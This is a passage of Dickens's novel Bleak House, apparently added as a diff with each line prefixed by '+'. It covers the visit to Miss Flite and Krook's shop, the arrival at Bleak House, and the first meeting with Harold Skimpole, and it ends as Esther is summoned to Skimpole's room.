+"I began to keep the little creatures," she said, "with an object
+that the wards will readily comprehend. With the intention of
+restoring them to liberty. When my judgment should be given. Ye-es!
+They die in prison, though. Their lives, poor silly things, are so
+short in comparison with Chancery proceedings that, one by one, the
+whole collection has died over and over again. I doubt, do you know,
+whether one of these, though they are all young, will live to be
+free! Ve-ry mortifying, is it not?"
+
+Although she sometimes asked a question, she never seemed to expect a
+reply, but rambled on as if she were in the habit of doing so when no
+one but herself was present.
+
+"Indeed," she pursued, "I positively doubt sometimes, I do assure
+you, whether while matters are still unsettled, and the sixth or
+Great Seal still prevails, I may not one day be found lying stark and
+senseless here, as I have found so many birds!"
+
+Richard, answering what he saw in Ada's compassionate eyes, took the
+opportunity of laying some money, softly and unobserved, on the
+chimney-piece. We all drew nearer to the cages, feigning to examine
+the birds.
+
+"I can't allow them to sing much," said the little old lady, "for
+(you'll think this curious) I find my mind confused by the idea that
+they are singing while I am following the arguments in court. And my
+mind requires to be so very clear, you know! Another time, I'll tell
+you their names. Not at present. On a day of such good omen, they
+shall sing as much as they like. In honour of youth," a smile and
+curtsy, "hope," a smile and curtsy, "and beauty," a smile and curtsy.
+"There! We'll let in the full light."
+
+The birds began to stir and chirp.
+
+"I cannot admit the air freely," said the little old lady--the room
+was close, and would have been the better for it--"because the cat
+you saw downstairs, called Lady Jane, is greedy for their lives. She
+crouches on the parapet outside for hours and hours. I have
+discovered," whispering mysteriously, "that her natural cruelty is
+sharpened by a jealous fear of their regaining their liberty. In
+consequence of the judgment I expect being shortly given. She is sly
+and full of malice. I half believe, sometimes, that she is no cat,
+but the wolf of the old saying. It is so very difficult to keep her
+from the door."
+
+Some neighbouring bells, reminding the poor soul that it was
+half-past nine, did more for us in the way of bringing our visit to
+an end than we could easily have done for ourselves. She hurriedly
+took up her little bag of documents, which she had laid upon the
+table on coming in, and asked if we were also going into court. On
+our answering no, and that we would on no account detain her, she
+opened the door to attend us downstairs.
+
+"With such an omen, it is even more necessary than usual that I
+should be there before the Chancellor comes in," said she, "for he
+might mention my case the first thing. I have a presentiment that he
+WILL mention it the first thing this morning."
+
+She stopped to tell us in a whisper as we were going down that the
+whole house was filled with strange lumber which her landlord had
+bought piecemeal and had no wish to sell, in consequence of being a
+little M. This was on the first floor. But she had made a previous
+stoppage on the second floor and had silently pointed at a dark door
+there.
+
+"The only other lodger," she now whispered in explanation, "a
+law-writer. The children in the lanes here say he has sold himself to
+the devil. I don't know what he can have done with the money. Hush!"
+
+She appeared to mistrust that the lodger might hear her even there,
+and repeating "Hush!" went before us on tiptoe as though even the
+sound of her footsteps might reveal to him what she had said.
+
+Passing through the shop on our way out, as we had passed through it
+on our way in, we found the old man storing a quantity of packets of
+waste-paper in a kind of well in the floor. He seemed to be working
+hard, with the perspiration standing on his forehead, and had a piece
+of chalk by him, with which, as he put each separate package or
+bundle down, he made a crooked mark on the panelling of the wall.
+
+Richard and Ada, and Miss Jellyby, and the little old lady had gone
+by him, and I was going when he touched me on the arm to stay me, and
+chalked the letter J upon the wall--in a very curious manner,
+beginning with the end of the letter and shaping it backward. It was
+a capital letter, not a printed one, but just such a letter as any
+clerk in Messrs. Kenge and Carboy's office would have made.
+
+"Can you read it?" he asked me with a keen glance.
+
+"Surely," said I. "It's very plain."
+
+"What is it?"
+
+"J."
+
+With another glance at me, and a glance at the door, he rubbed it out
+and turned an "a" in its place (not a capital letter this time), and
+said, "What's that?"
+
+I told him. He then rubbed that out and turned the letter "r," and
+asked me the same question. He went on quickly until he had formed in
+the same curious manner, beginning at the ends and bottoms of the
+letters, the word Jarndyce, without once leaving two letters on the
+wall together.
+
+"What does that spell?" he asked me.
+
+When I told him, he laughed. In the same odd way, yet with the same
+rapidity, he then produced singly, and rubbed out singly, the letters
+forming the words Bleak House. These, in some astonishment, I also
+read; and he laughed again.
+
+"Hi!" said the old man, laying aside the chalk. "I have a turn for
+copying from memory, you see, miss, though I can neither read nor
+write."
+
+He looked so disagreeable and his cat looked so wickedly at me, as if
+I were a blood-relation of the birds upstairs, that I was quite
+relieved by Richard's appearing at the door and saying, "Miss
+Summerson, I hope you are not bargaining for the sale of your hair.
+Don't be tempted. Three sacks below are quite enough for Mr. Krook!"
+
+I lost no time in wishing Mr. Krook good morning and joining my
+friends outside, where we parted with the little old lady, who gave
+us her blessing with great ceremony and renewed her assurance of
+yesterday in reference to her intention of settling estates on Ada
+and me. Before we finally turned out of those lanes, we looked back
+and saw Mr. Krook standing at his shop-door, in his spectacles,
+looking after us, with his cat upon his shoulder, and her tail
+sticking up on one side of his hairy cap like a tall feather.
+
+"Quite an adventure for a morning in London!" said Richard with a
+sigh. "Ah, cousin, cousin, it's a weary word this Chancery!"
+
+"It is to me, and has been ever since I can remember," returned Ada.
+"I am grieved that I should be the enemy--as I suppose I am--of a
+great number of relations and others, and that they should be my
+enemies--as I suppose they are--and that we should all be ruining one
+another without knowing how or why and be in constant doubt and
+discord all our lives. It seems very strange, as there must be right
+somewhere, that an honest judge in real earnest has not been able to
+find out through all these years where it is."
+
+"Ah, cousin!" said Richard. "Strange, indeed! All this wasteful,
+wanton chess-playing IS very strange. To see that composed court
+yesterday jogging on so serenely and to think of the wretchedness of
+the pieces on the board gave me the headache and the heartache both
+together. My head ached with wondering how it happened, if men were
+neither fools nor rascals; and my heart ached to think they could
+possibly be either. But at all events, Ada--I may call you Ada?"
+
+"Of course you may, cousin Richard."
+
+"At all events, Chancery will work none of its bad influences on US.
+We have happily been brought together, thanks to our good kinsman,
+and it can't divide us now!"
+
+"Never, I hope, cousin Richard!" said Ada gently.
+
+Miss Jellyby gave my arm a squeeze and me a very significant look. I
+smiled in return, and we made the rest of the way back very
+pleasantly.
+
+In half an hour after our arrival, Mrs. Jellyby appeared; and in the
+course of an hour the various things necessary for breakfast
+straggled one by one into the dining-room. I do not doubt that Mrs.
+Jellyby had gone to bed and got up in the usual manner, but she
+presented no appearance of having changed her dress. She was greatly
+occupied during breakfast, for the morning's post brought a heavy
+correspondence relative to Borrioboola-Gha, which would occasion her
+(she said) to pass a busy day. The children tumbled about, and
+notched memoranda of their accidents in their legs, which were
+perfect little calendars of distress; and Peepy was lost for an hour
+and a half, and brought home from Newgate market by a policeman. The
+equable manner in which Mrs. Jellyby sustained both his absence and
+his restoration to the family circle surprised us all.
+
+She was by that time perseveringly dictating to Caddy, and Caddy was
+fast relapsing into the inky condition in which we had found her. At
+one o'clock an open carriage arrived for us, and a cart for our
+luggage. Mrs. Jellyby charged us with many remembrances to her good
+friend Mr. Jarndyce; Caddy left her desk to see us depart, kissed me
+in the passage, and stood biting her pen and sobbing on the steps;
+Peepy, I am happy to say, was asleep and spared the pain of
+separation (I was not without misgivings that he had gone to Newgate
+market in search of me); and all the other children got up behind the
+barouche and fell off, and we saw them, with great concern, scattered
+over the surface of Thavies Inn as we rolled out of its precincts.
+
+
+
+
+CHAPTER VI
+
+Quite at Home
+
+
+The day had brightened very much, and still brightened as we went
+westward. We went our way through the sunshine and the fresh air,
+wondering more and more at the extent of the streets, the brilliancy
+of the shops, the great traffic, and the crowds of people whom the
+pleasanter weather seemed to have brought out like many-coloured
+flowers. By and by we began to leave the wonderful city and to
+proceed through suburbs which, of themselves, would have made a
+pretty large town in my eyes; and at last we got into a real country
+road again, with windmills, rick-yards, milestones, farmers' waggons,
+scents of old hay, swinging signs, and horse troughs: trees, fields,
+and hedge-rows. It was delightful to see the green landscape before
+us and the immense metropolis behind; and when a waggon with a train
+of beautiful horses, furnished with red trappings and clear-sounding
+bells, came by us with its music, I believe we could all three have
+sung to the bells, so cheerful were the influences around.
+
+"The whole road has been reminding me of my namesake Whittington,"
+said Richard, "and that waggon is the finishing touch. Halloa! What's
+the matter?"
+
+We had stopped, and the waggon had stopped too. Its music changed as
+the horses came to a stand, and subsided to a gentle tinkling, except
+when a horse tossed his head or shook himself and sprinkled off a
+little shower of bell-ringing.
+
+"Our postilion is looking after the waggoner," said Richard, "and the
+waggoner is coming back after us. Good day, friend!" The waggoner was
+at our coach-door. "Why, here's an extraordinary thing!" added
+Richard, looking closely at the man. "He has got your name, Ada, in
+his hat!"
+
+He had all our names in his hat. Tucked within the band were three
+small notes--one addressed to Ada, one to Richard, one to me. These
+the waggoner delivered to each of us respectively, reading the name
+aloud first. In answer to Richard's inquiry from whom they came, he
+briefly answered, "Master, sir, if you please"; and putting on his
+hat again (which was like a soft bowl), cracked his whip, re-awakened
+his music, and went melodiously away.
+
+"Is that Mr. Jarndyce's waggon?" said Richard, calling to our
+post-boy.
+
+"Yes, sir," he replied. "Going to London."
+
+We opened the notes. Each was a counterpart of the other and
+contained these words in a solid, plain hand.
+
+
+   I look forward, my dear, to our meeting easily and
+   without constraint on either side. I therefore have to
+   propose that we meet as old friends and take the past for
+   granted. It will be a relief to you possibly, and to me
+   certainly, and so my love to you.
+
+   John Jarndyce
+
+
+I had perhaps less reason to be surprised than either of my
+companions, having never yet enjoyed an opportunity of thanking one
+who had been my benefactor and sole earthly dependence through so
+many years. I had not considered how I could thank him, my gratitude
+lying too deep in my heart for that; but I now began to consider how
+I could meet him without thanking him, and felt it would be very
+difficult indeed.
+
+The notes revived in Richard and Ada a general impression that they
+both had, without quite knowing how they came by it, that their
+cousin Jarndyce could never bear acknowledgments for any kindness he
+performed and that sooner than receive any he would resort to the
+most singular expedients and evasions or would even run away. Ada
+dimly remembered to have heard her mother tell, when she was a very
+little child, that he had once done her an act of uncommon generosity
+and that on her going to his house to thank him, he happened to see
+her through a window coming to the door, and immediately escaped by
+the back gate, and was not heard of for three months. This discourse
+led to a great deal more on the same theme, and indeed it lasted us
+all day, and we talked of scarcely anything else. If we did by any
+chance diverge into another subject, we soon returned to this, and
+wondered what the house would be like, and when we should get there,
+and whether we should see Mr. Jarndyce as soon as we arrived or after
+a delay, and what he would say to us, and what we should say to him.
+All of which we wondered about, over and over again.
+
+The roads were very heavy for the horses, but the pathway was
+generally good, so we alighted and walked up all the hills, and liked
+it so well that we prolonged our walk on the level ground when we got
+to the top. At Barnet there were other horses waiting for us, but as
+they had only just been fed, we had to wait for them too, and got a
+long fresh walk over a common and an old battle-field before the
+carriage came up. These delays so protracted the journey that the
+short day was spent and the long night had closed in before we came
+to St. Albans, near to which town Bleak House was, we knew.
+
+By that time we were so anxious and nervous that even Richard
+confessed, as we rattled over the stones of the old street, to
+feeling an irrational desire to drive back again. As to Ada and me,
+whom he had wrapped up with great care, the night being sharp and
+frosty, we trembled from head to foot. When we turned out of the
+town, round a corner, and Richard told us that the post-boy, who had
+for a long time sympathized with our heightened expectation, was
+looking back and nodding, we both stood up in the carriage (Richard
+holding Ada lest she should be jolted down) and gazed round upon the
+open country and the starlight night for our destination. There was a
+light sparkling on the top of a hill before us, and the driver,
+pointing to it with his whip and crying, "That's Bleak House!" put
+his horses into a canter and took us forward at such a rate, uphill
+though it was, that the wheels sent the road drift flying about our
+heads like spray from a water-mill. Presently we lost the light,
+presently saw it, presently lost it, presently saw it, and turned
+into an avenue of trees and cantered up towards where it was beaming
+brightly. It was in a window of what seemed to be an old-fashioned
+house with three peaks in the roof in front and a circular sweep
+leading to the porch. A bell was rung as we drew up, and amidst the
+sound of its deep voice in the still air, and the distant barking of
+some dogs, and a gush of light from the opened door, and the smoking
+and steaming of the heated horses, and the quickened beating of our
+own hearts, we alighted in no inconsiderable confusion.
+
+"Ada, my love, Esther, my dear, you are welcome. I rejoice to see
+you! Rick, if I had a hand to spare at present, I would give it you!"
+
+The gentleman who said these words in a clear, bright, hospitable
+voice had one of his arms round Ada's waist and the other round mine,
+and kissed us both in a fatherly way, and bore us across the hall
+into a ruddy little room, all in a glow with a blazing fire. Here he
+kissed us again, and opening his arms, made us sit down side by side
+on a sofa ready drawn out near the hearth. I felt that if we had been
+at all demonstrative, he would have run away in a moment.
+
+"Now, Rick!" said he. "I have a hand at liberty. A word in earnest is
+as good as a speech. I am heartily glad to see you. You are at home.
+Warm yourself!"
+
+Richard shook him by both hands with an intuitive mixture of respect
+and frankness, and only saying (though with an earnestness that
+rather alarmed me, I was so afraid of Mr. Jarndyce's suddenly
+disappearing), "You are very kind, sir! We are very much obliged to
+you!" laid aside his hat and coat and came up to the fire.
+
+"And how did you like the ride? And how did you like Mrs. Jellyby, my
+dear?" said Mr. Jarndyce to Ada.
+
+While Ada was speaking to him in reply, I glanced (I need not say
+with how much interest) at his face. It was a handsome, lively, quick
+face, full of change and motion; and his hair was a silvered
+iron-grey. I took him to be nearer sixty than fifty, but he was
+upright, hearty, and robust. From the moment of his first speaking to
+us his voice had connected itself with an association in my mind that
+I could not define; but now, all at once, a something sudden in his
+manner and a pleasant expression in his eyes recalled the gentleman
+in the stagecoach six years ago on the memorable day of my journey to
+Reading. I was certain it was he. I never was so frightened in my
+life as when I made the discovery, for he caught my glance, and
+appearing to read my thoughts, gave such a look at the door that I
+thought we had lost him.
+
+However, I am happy to say he remained where he was, and asked me
+what I thought of Mrs. Jellyby.
+
+"She exerts herself very much for Africa, sir," I said.
+
+"Nobly!" returned Mr. Jarndyce. "But you answer like Ada." Whom I had
+not heard. "You all think something else, I see."
+
+"We rather thought," said I, glancing at Richard and Ada, who
+entreated me with their eyes to speak, "that perhaps she was a little
+unmindful of her home."
+
+"Floored!" cried Mr. Jarndyce.
+
+I was rather alarmed again.
+
+"Well! I want to know your real thoughts, my dear. I may have sent
+you there on purpose."
+
+"We thought that, perhaps," said I, hesitating, "it is right to begin
+with the obligations of home, sir; and that, perhaps, while those are
+overlooked and neglected, no other duties can possibly be substituted
+for them."
+
+"The little Jellybys," said Richard, coming to my relief, "are
+really--I can't help expressing myself strongly, sir--in a devil of a
+state."
+
+"She means well," said Mr. Jarndyce hastily. "The wind's in the
+east."
+
+"It was in the north, sir, as we came down," observed Richard.
+
+"My dear Rick," said Mr. Jarndyce, poking the fire, "I'll take an
+oath it's either in the east or going to be. I am always conscious of
+an uncomfortable sensation now and then when the wind is blowing in
+the east."
+
+"Rheumatism, sir?" said Richard.
+
+"I dare say it is, Rick. I believe it is. And so the little Jell--I
+had my doubts about 'em--are in a--oh, Lord, yes, it's easterly!"
+said Mr. Jarndyce.
+
+He had taken two or three undecided turns up and down while uttering
+these broken sentences, retaining the poker in one hand and rubbing
+his hair with the other, with a good-natured vexation at once so
+whimsical and so lovable that I am sure we were more delighted with
+him than we could possibly have expressed in any words. He gave an
+arm to Ada and an arm to me, and bidding Richard bring a candle, was
+leading the way out when he suddenly turned us all back again.
+
+"Those little Jellybys. Couldn't you--didn't you--now, if it had
+rained sugar-plums, or three-cornered raspberry tarts, or anything of
+that sort!" said Mr. Jarndyce.
+
+"Oh, cousin--" Ada hastily began.
+
+"Good, my pretty pet. I like cousin. Cousin John, perhaps, is
+better."
+
+"Then, cousin John--" Ada laughingly began again.
+
+"Ha, ha! Very good indeed!" said Mr. Jarndyce with great enjoyment.
+"Sounds uncommonly natural. Yes, my dear?"
+
+"It did better than that. It rained Esther."
+
+"Aye?" said Mr. Jarndyce. "What did Esther do?"
+
+"Why, cousin John," said Ada, clasping her hands upon his arm and
+shaking her head at me across him--for I wanted her to be
+quiet--"Esther was their friend directly. Esther nursed them, coaxed
+them to sleep, washed and dressed them, told them stories, kept them
+quiet, bought them keepsakes"--My dear girl! I had only gone out with
+Peepy after he was found and given him a little, tiny horse!--"and,
+cousin John, she softened poor Caroline, the eldest one, so much and
+was so thoughtful for me and so amiable! No, no, I won't be
+contradicted, Esther dear! You know, you know, it's true!"
+
+The warm-hearted darling leaned across her cousin John and kissed me,
+and then looking up in his face, boldly said, "At all events, cousin
+John, I WILL thank you for the companion you have given me." I felt
+as if she challenged him to run away. But he didn't.
+
+"Where did you say the wind was, Rick?" asked Mr. Jarndyce.
+
+"In the north as we came down, sir."
+
+"You are right. There's no east in it. A mistake of mine. Come,
+girls, come and see your home!"
+
+It was one of those delightfully irregular houses where you go up and
+down steps out of one room into another, and where you come upon more
+rooms when you think you have seen all there are, and where there is
+a bountiful provision of little halls and passages, and where you
+find still older cottage-rooms in unexpected places with lattice
+windows and green growth pressing through them. Mine, which we
+entered first, was of this kind, with an up-and-down roof that had
+more corners in it than I ever counted afterwards and a chimney
+(there was a wood fire on the hearth) paved all around with pure
+white tiles, in every one of which a bright miniature of the fire was
+blazing. Out of this room, you went down two steps into a charming
+little sitting-room looking down upon a flower-garden, which room was
+henceforth to belong to Ada and me. Out of this you went up three
+steps into Ada's bedroom, which had a fine broad window commanding a
+beautiful view (we saw a great expanse of darkness lying underneath
+the stars), to which there was a hollow window-seat, in which, with a
+spring-lock, three dear Adas might have been lost at once. Out of
+this room you passed into a little gallery, with which the other best
+rooms (only two) communicated, and so, by a little staircase of
+shallow steps with a number of corner stairs in it, considering its
+length, down into the hall. But if instead of going out at Ada's door
+you came back into my room, and went out at the door by which you had
+entered it, and turned up a few crooked steps that branched off in an
+unexpected manner from the stairs, you lost yourself in passages,
+with mangles in them, and three-cornered tables, and a native Hindu
+chair, which was also a sofa, a box, and a bedstead, and looked in
+every form something between a bamboo skeleton and a great bird-cage,
+and had been brought from India nobody knew by whom or when. From
+these you came on Richard's room, which was part library, part
+sitting-room, part bedroom, and seemed indeed a comfortable compound
+of many rooms. Out of that you went straight, with a little interval
+of passage, to the plain room where Mr. Jarndyce slept, all the year
+round, with his window open, his bedstead without any furniture
+standing in the middle of the floor for more air, and his cold bath
+gaping for him in a smaller room adjoining. Out of that you came into
+another passage, where there were back-stairs and where you could
+hear the horses being rubbed down outside the stable and being told
+to "Hold up" and "Get over," as they slipped about very much on the
+uneven stones. Or you might, if you came out at another door (every
+room had at least two doors), go straight down to the hall again by
+half-a-dozen steps and a low archway, wondering how you got back
+there or had ever got out of it.
+
+The furniture, old-fashioned rather than old, like the house, was as
+pleasantly irregular. Ada's sleeping-room was all flowers--in chintz
+and paper, in velvet, in needlework, in the brocade of two stiff
+courtly chairs which stood, each attended by a little page of a stool
+for greater state, on either side of the fire-place. Our sitting-room
+was green and had framed and glazed upon the walls numbers of
+surprising and surprised birds, staring out of pictures at a real
+trout in a case, as brown and shining as if it had been served with
+gravy; at the death of Captain Cook; and at the whole process of
+preparing tea in China, as depicted by Chinese artists. In my room
+there were oval engravings of the months--ladies haymaking in short
+waists and large hats tied under the chin, for June; smooth-legged
+noblemen pointing with cocked-hats to village steeples, for October.
+Half-length portraits in crayons abounded all through the house, but
+were so dispersed that I found the brother of a youthful officer of
+mine in the china-closet and the grey old age of my pretty young
+bride, with a flower in her bodice, in the breakfast-room. As
+substitutes, I had four angels, of Queen Anne's reign, taking a
+complacent gentleman to heaven, in festoons, with some difficulty;
+and a composition in needlework representing fruit, a kettle, and an
+alphabet. All the movables, from the wardrobes to the chairs and
+tables, hangings, glasses, even to the pincushions and scent-bottles
+on the dressing-tables, displayed the same quaint variety. They
+agreed in nothing but their perfect neatness, their display of the
+whitest linen, and their storing-up, wheresoever the existence of a
+drawer, small or large, rendered it possible, of quantities of
+rose-leaves and sweet lavender. Such, with its illuminated windows,
+softened here and there by shadows of curtains, shining out upon the
+starlight night; with its light, and warmth, and comfort; with its
+hospitable jingle, at a distance, of preparations for dinner; with
+the face of its generous master brightening everything we saw; and
+just wind enough without to sound a low accompaniment to everything
+we heard, were our first impressions of Bleak House.
+
+"I am glad you like it," said Mr. Jarndyce when he had brought us
+round again to Ada's sitting-room. "It makes no pretensions, but it
+is a comfortable little place, I hope, and will be more so with such
+bright young looks in it. You have barely half an hour before dinner.
+There's no one here but the finest creature upon earth--a child."
+
+"More children, Esther!" said Ada.
+
+"I don't mean literally a child," pursued Mr. Jarndyce; "not a child
+in years. He is grown up--he is at least as old as I am--but in
+simplicity, and freshness, and enthusiasm, and a fine guileless
+inaptitude for all worldly affairs, he is a perfect child."
+
+We felt that he must be very interesting.
+
+"He knows Mrs. Jellyby," said Mr. Jarndyce. "He is a musical man, an
+amateur, but might have been a professional. He is an artist too, an
+amateur, but might have been a professional. He is a man of
+attainments and of captivating manners. He has been unfortunate in
+his affairs, and unfortunate in his pursuits, and unfortunate in his
+family; but he don't care--he's a child!"
+
+"Did you imply that he has children of his own, sir?" inquired
+Richard.
+
+"Yes, Rick! Half-a-dozen. More! Nearer a dozen, I should think. But
+he has never looked after them. How could he? He wanted somebody to
+look after HIM. He is a child, you know!" said Mr. Jarndyce.
+
+"And have the children looked after themselves at all, sir?" inquired
+Richard.
+
+"Why, just as you may suppose," said Mr. Jarndyce, his countenance
+suddenly falling. "It is said that the children of the very poor are
+not brought up, but dragged up. Harold Skimpole's children have
+tumbled up somehow or other. The wind's getting round again, I am
+afraid. I feel it rather!"
+
+Richard observed that the situation was exposed on a sharp night.
+
+"It IS exposed," said Mr. Jarndyce. "No doubt that's the cause. Bleak
+House has an exposed sound. But you are coming my way. Come along!"
+
+Our luggage having arrived and being all at hand, I was dressed in a
+few minutes and engaged in putting my worldly goods away when a maid
+(not the one in attendance upon Ada, but another, whom I had not
+seen) brought a basket into my room with two bunches of keys in it,
+all labelled.
+
+"For you, miss, if you please," said she.
+
+"For me?" said I.
+
+"The housekeeping keys, miss."
+
+I showed my surprise, for she added with some little surprise on her
+own part, "I was told to bring them as soon as you was alone, miss.
+Miss Summerson, if I don't deceive myself?"
+
+"Yes," said I. "That is my name."
+
+"The large bunch is the housekeeping, and the little bunch is the
+cellars, miss. Any time you was pleased to appoint to-morrow morning,
+I was to show you the presses and things they belong to."
+
+I said I would be ready at half-past six, and after she was gone,
+stood looking at the basket, quite lost in the magnitude of my trust.
+Ada found me thus and had such a delightful confidence in me when I
+showed her the keys and told her about them that it would have been
+insensibility and ingratitude not to feel encouraged. I knew, to be
+sure, that it was the dear girl's kindness, but I liked to be so
+pleasantly cheated.
+
+When we went downstairs, we were presented to Mr. Skimpole, who was
+standing before the fire telling Richard how fond he used to be, in
+his school-time, of football. He was a little bright creature with a
+rather large head, but a delicate face and a sweet voice, and there
+was a perfect charm in him. All he said was so free from effort and
+spontaneous and was said with such a captivating gaiety that it was
+fascinating to hear him talk. Being of a more slender figure than Mr.
+Jarndyce and having a richer complexion, with browner hair, he looked
+younger. Indeed, he had more the appearance in all respects of a
+damaged young man than a well-preserved elderly one. There was an
+easy negligence in his manner and even in his dress (his hair
+carelessly disposed, and his neck-kerchief loose and flowing, as I
+have seen artists paint their own portraits) which I could not
+separate from the idea of a romantic youth who had undergone some
+unique process of depreciation. It struck me as being not at all like
+the manner or appearance of a man who had advanced in life by the
+usual road of years, cares, and experiences.
+
+I gathered from the conversation that Mr. Skimpole had been educated
+for the medical profession and had once lived, in his professional
+capacity, in the household of a German prince. He told us, however,
+that as he had always been a mere child in point of weights and
+measures and had never known anything about them (except that they
+disgusted him), he had never been able to prescribe with the
+requisite accuracy of detail. In fact, he said, he had no head for
+detail. And he told us, with great humour, that when he was wanted to
+bleed the prince or physic any of his people, he was generally found
+lying on his back in bed, reading the newspapers or making
+fancy-sketches in pencil, and couldn't come. The prince, at last,
+objecting to this, "in which," said Mr. Skimpole, in the frankest
+manner, "he was perfectly right," the engagement terminated, and Mr.
+Skimpole having (as he added with delightful gaiety) "nothing to live
+upon but love, fell in love, and married, and surrounded himself with
+rosy cheeks." His good friend Jarndyce and some other of his good
+friends then helped him, in quicker or slower succession, to several
+openings in life, but to no purpose, for he must confess to two of
+the oldest infirmities in the world: one was that he had no idea of
+time, the other that he had no idea of money. In consequence of which
+he never kept an appointment, never could transact any business, and
+never knew the value of anything! Well! So he had got on in life, and
+here he was! He was very fond of reading the papers, very fond of
+making fancy-sketches with a pencil, very fond of nature, very fond
+of art. All he asked of society was to let him live. THAT wasn't
+much. His wants were few. Give him the papers, conversation, music,
+mutton, coffee, landscape, fruit in the season, a few sheets of
+Bristol-board, and a little claret, and he asked no more. He was a
+mere child in the world, but he didn't cry for the moon. He said to
+the world, "Go your several ways in peace! Wear red coats, blue
+coats, lawn sleeves; put pens behind your ears, wear aprons; go after
+glory, holiness, commerce, trade, any object you prefer; only--let
+Harold Skimpole live!"
+
+All this and a great deal more he told us, not only with the
+utmost brilliancy and enjoyment, but with a certain vivacious
+candour--speaking of himself as if he were not at all his own affair,
+as if Skimpole were a third person, as if he knew that Skimpole had
+his singularities but still had his claims too, which were the
+general business of the community and must not be slighted. He was
+quite enchanting. If I felt at all confused at that early time in
+endeavouring to reconcile anything he said with anything I had
+thought about the duties and accountabilities of life (which I am far
+from sure of), I was confused by not exactly understanding why he was
+free of them. That he WAS free of them, I scarcely doubted; he was so
+very clear about it himself.
+
+"I covet nothing," said Mr. Skimpole in the same light way.
+"Possession is nothing to me. Here is my friend Jarndyce's excellent
+house. I feel obliged to him for possessing it. I can sketch it and
+alter it. I can set it to music. When I am here, I have sufficient
+possession of it and have neither trouble, cost, nor responsibility.
+My steward's name, in short, is Jarndyce, and he can't cheat me. We
+have been mentioning Mrs. Jellyby. There is a bright-eyed woman, of a
+strong will and immense power of business detail, who throws herself
+into objects with surprising ardour! I don't regret that I have not a
+strong will and an immense power of business detail to throw myself
+into objects with surprising ardour. I can admire her without envy. I
+can sympathize with the objects. I can dream of them. I can lie down
+on the grass--in fine weather--and float along an African river,
+embracing all the natives I meet, as sensible of the deep silence and
+sketching the dense overhanging tropical growth as accurately as if I
+were there. I don't know that it's of any direct use my doing so, but
+it's all I can do, and I do it thoroughly. Then, for heaven's sake,
+having Harold Skimpole, a confiding child, petitioning you, the
+world, an agglomeration of practical people of business habits, to
+let him live and admire the human family, do it somehow or other,
+like good souls, and suffer him to ride his rocking-horse!"
+
+It was plain enough that Mr. Jarndyce had not been neglectful of the
+adjuration. Mr. Skimpole's general position there would have rendered
+it so without the addition of what he presently said.
+
+"It's only you, the generous creatures, whom I envy," said Mr.
+Skimpole, addressing us, his new friends, in an impersonal manner. "I
+envy you your power of doing what you do. It is what I should revel
+in myself. I don't feel any vulgar gratitude to you. I almost feel as
+if YOU ought to be grateful to ME for giving you the opportunity of
+enjoying the luxury of generosity. I know you like it. For anything I
+can tell, I may have come into the world expressly for the purpose of
+increasing your stock of happiness. I may have been born to be a
+benefactor to you by sometimes giving you an opportunity of assisting
+me in my little perplexities. Why should I regret my incapacity for
+details and worldly affairs when it leads to such pleasant
+consequences? I don't regret it therefore."
+
+Of all his playful speeches (playful, yet always fully meaning what
+they expressed) none seemed to be more to the taste of Mr. Jarndyce
+than this. I had often new temptations, afterwards, to wonder whether
+it was really singular, or only singular to me, that he, who was
+probably the most grateful of mankind upon the least occasion, should
+so desire to escape the gratitude of others.
+
+We were all enchanted. I felt it a merited tribute to the engaging
+qualities of Ada and Richard that Mr. Skimpole, seeing them for the
+first time, should be so unreserved and should lay himself out to be
+so exquisitely agreeable. They (and especially Richard) were
+naturally pleased, for similar reasons, and considered it no common
+privilege to be so freely confided in by such an attractive man. The
+more we listened, the more gaily Mr. Skimpole talked. And what with
+his fine hilarious manner and his engaging candour and his genial way
+of lightly tossing his own weaknesses about, as if he had said, "I am
+a child, you know! You are designing people compared with me" (he
+really made me consider myself in that light) "but I am gay and
+innocent; forget your worldly arts and play with me!" the effect was
+absolutely dazzling.
+
+He was so full of feeling too and had such a delicate sentiment for
+what was beautiful or tender that he could have won a heart by that
+alone. In the evening, when I was preparing to make tea and Ada was
+touching the piano in the adjoining room and softly humming a tune to
+her cousin Richard, which they had happened to mention, he came and
+sat down on the sofa near me and so spoke of Ada that I almost loved
+him.
+
+"She is like the morning," he said. "With that golden hair, those
+blue eyes, and that fresh bloom on her cheek, she is like the summer
+morning. The birds here will mistake her for it. We will not call
+such a lovely young creature as that, who is a joy to all mankind, an
+orphan. She is the child of the universe."
+
+Mr. Jarndyce, I found, was standing near us with his hands behind him
+and an attentive smile upon his face.
+
+"The universe," he observed, "makes rather an indifferent parent, I
+am afraid."
+
+"Oh! I don't know!" cried Mr. Skimpole buoyantly.
+
+"I think I do know," said Mr. Jarndyce.
+
+"Well!" cried Mr. Skimpole. "You know the world (which in your sense
+is the universe), and I know nothing of it, so you shall have your
+way. But if I had mine," glancing at the cousins, "there should be no
+brambles of sordid realities in such a path as that. It should be
+strewn with roses; it should lie through bowers, where there was no
+spring, autumn, nor winter, but perpetual summer. Age or change
+should never wither it. The base word money should never be breathed
+near it!"
+
+Mr. Jarndyce patted him on the head with a smile, as if he had been
+really a child, and passing a step or two on, and stopping a moment,
+glanced at the young cousins. His look was thoughtful, but had a
+benignant expression in it which I often (how often!) saw again,
+which has long been engraven on my heart. The room in which they
+were, communicating with that in which he stood, was only lighted by
+the fire. Ada sat at the piano; Richard stood beside her, bending
+down. Upon the wall, their shadows blended together, surrounded by
+strange forms, not without a ghostly motion caught from the unsteady
+fire, though reflecting from motionless objects. Ada touched the
+notes so softly and sang so low that the wind, sighing away to the
+distant hills, was as audible as the music. The mystery of the future
+and the little clue afforded to it by the voice of the present seemed
+expressed in the whole picture.
+
+But it is not to recall this fancy, well as I remember it, that I
+recall the scene. First, I was not quite unconscious of the contrast
+in respect of meaning and intention between the silent look directed
+that way and the flow of words that had preceded it. Secondly, though
+Mr. Jarndyce's glance as he withdrew it rested for but a moment on
+me, I felt as if in that moment he confided to me--and knew that he
+confided to me and that I received the confidence--his hope that Ada
+and Richard might one day enter on a dearer relationship.
+
+Mr. Skimpole could play on the piano and the violoncello, and he was
+a composer--had composed half an opera once, but got tired of it--and
+played what he composed with taste. After tea we had quite a little
+concert, in which Richard--who was enthralled by Ada's singing and
+told me that she seemed to know all the songs that ever were
+written--and Mr. Jarndyce, and I were the audience. After a little
+while I missed first Mr. Skimpole and afterwards Richard, and while I
+was thinking how could Richard stay away so long and lose so much,
+the maid who had given me the keys looked in at the door, saying, "If
+you please, miss, could you spare a minute?"
+
+When I was shut out with her in the hall, she said, holding up her
+hands, "Oh, if you please, miss, Mr. Carstone says would you come
+upstairs to Mr. Skimpole's room. He has been took, miss!"
+
